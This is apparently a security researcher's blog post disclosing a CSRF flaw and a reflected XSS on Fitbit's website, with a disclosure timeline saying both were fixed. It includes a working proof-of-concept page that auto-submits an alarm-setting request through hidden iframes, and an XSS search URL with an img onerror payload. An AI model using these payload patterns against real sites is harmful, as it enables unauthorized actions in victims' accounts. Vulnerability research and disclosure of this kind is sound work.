FitBit CSRF and XSS    Posted:


A few months ago I bought a fitbit, which is a wristband tracking device. It mainly tracks your steps in a not-so-accurate manner and presents it to you in a nice GUI as both a website and app. It also has some other functions like tracking your sleep and a silent alarm function which vibrates the wristband at a set time. Also you get to compete against your friends. Fun times, though the two other people I know who bought fitbits and got me into buying one too both quit within the first month.

Naturally I felt a need to check the security of the website.

CSRF

The obvious exploit I found was CSRF. As far as I could tell none of the functions on the site had any protection against CSRF. I made a basic proof of concept exploit to add an alarm set randomly during the day.

addalarm.html

 1 <script type="text/javascript" src="jquery-1.7.1.min.js"></script>
 2 
 3 <form method="POST" action="https://www.fitbit.com/ajaxapi">
 4         <input type="hidden" name="request" id="payload" value=''>
 5         <input type="submit" name="submit" id="csrfgo">
 6 </form>
 7 
 8 <script type="text/javascript">
 9         $(document).ready(function() {
10                 hour = Math.floor(1 + Math.random()*10);
11                 minute = Math.floor(10 + Math.random()*49);
12                 sploit = '{"serviceCalls":[{"name":"trackerSettings","method":"saveAlarm","args":{"alarm":"{\\"time\\":\\"'+hour+':'+minute+' PM\\",\\"ampm\\":\\"PM\\",\\"recurrent\\":\\"\\",\\"enabled\\":\\"true\\"}"}}],"template":"user/dash/alertResponse.json.jsp"}'
13                 $("#payload").val(sploit);
14                 $("#csrfgo").click();
15         });
16 </script>

Or maybe a few extra alarms just to make sure...

<iframe src="addalarm.html" width="0" height="0"></iframe>
<iframe src="addalarm.html" width="0" height="0"></iframe>
<iframe src="addalarm.html" width="0" height="0"></iframe>
<iframe src="addalarm.html" width="0" height="0"></iframe>
<iframe src="addalarm.html" width="0" height="0"></iframe>
<iframe src="addalarm.html" width="0" height="0"></iframe>
<iframe src="addalarm.html" width="0" height="0"></iframe>
<iframe src="addalarm.html" width="0" height="0"></iframe>
<iframe src="addalarm.html" width="0" height="0"></iframe>
...

Fun part is that this would automatically sync with your wristband via your phone which by default does so every few minutes.

XSS

I also found an interesting reflected XSS. Interesting because it both bypassed the auditor (since it was parsed from javascript and not serverside) and because it involved tricking the backend Solr query. The XSS would be displayed in the typical "you searched for x" message that usually appears on search pages. However, only if you actually got a result. Therefore searching for <img onerror=alert(window)> would find 0 hits. Since I've done some work with Solr before I know that it could be quite flexible. It will return results so long as the result matches most of the query, probably due to some scoring algorithm. By adding "banana muffin" the query got results which matched.

Url: https://www.fitbit.com/foods/search?q=banana+muffin+%22%3Cimg%20onerror=alert(window)%20src=merp%3E%22

Status

Contact attempt #1: 2014-04-14

Contact attempt #2: 2014-06-14

Fitbit response: 2014-07-04

The vulnerabilities seem to have been fixed. A csrf input-token has been added and the XSS in question appears to be escaped.